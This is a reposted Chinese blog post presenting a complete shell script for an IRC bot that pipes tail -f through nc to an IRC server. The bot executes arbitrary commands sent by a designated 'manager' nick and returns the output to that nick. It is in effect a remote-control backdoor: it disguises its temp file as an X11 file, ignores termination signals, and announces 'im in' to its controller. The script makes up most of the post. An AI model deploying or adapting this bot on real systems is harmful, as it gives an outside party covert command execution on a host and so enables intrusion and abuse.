一個irc bot的shell實現(demo)

來源:互聯網
上載者:User

shell算是剛剛起步,這個主要是利用了tail- f 通過管道重新導向到nc來與irc伺服器進行通訊,然後利用sed對其格式化使之符合協議,其他沒啥東西了
實現的功能就是命令執行。
代碼估計很不成熟,還在學習中,希望大家對細節多提出一些指點。

01 #!/bin/sh 

02  

03 #Shell IRC Bot demo Based on RFC 1459 

04 #Author:Tm3yShell7 @ www.hackshell.net

05 #2011/8/5 

06  

07 myname='testBot' #what you call me? 

08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P 

09 channel='bots' #irc channel 

10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime 

11 mgr='god' #manager nick in irc 

12 cwd='/tmp' # current work directry 

13  

14 trap "" TERM HUP INT QUIT TSTP 

15 #just leave it 

16  

17 echo "NICK $myname" > $tmpfile 

18 echo "USER $myname `hostname` servername realname" >> $tmpfile 

19 echo "JOIN $channel" >> $tmpfile 

20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile 

21 #connect to the irc server and say hello to my manager 

22  

23 tail -f $tmpfile| nc $svradd | while true; do

24                 read cmd 

25                 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1 

26                 test $? -eq 0 || continue

27                 #see if this message is for me? 

28                 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null) 

29                 #delete the header 

30                 cmd=$(echo $cmd | sed "s/\r/\n/" 2>/dev/null) 

31                 #delete '\r' 

32                 echo $cmd | egrep "^cd *" >/dev/null 2>&1 

33                 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null) 

34                 #update cwd if this is a "cd" command 

35                 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1 

36                 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"

37                 #overwirte the "pwd" command 

38                 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1 

39                 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile 

40                 #exec it and send 

41 done

 

 

 

from:Tm3yShell7's Blog

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.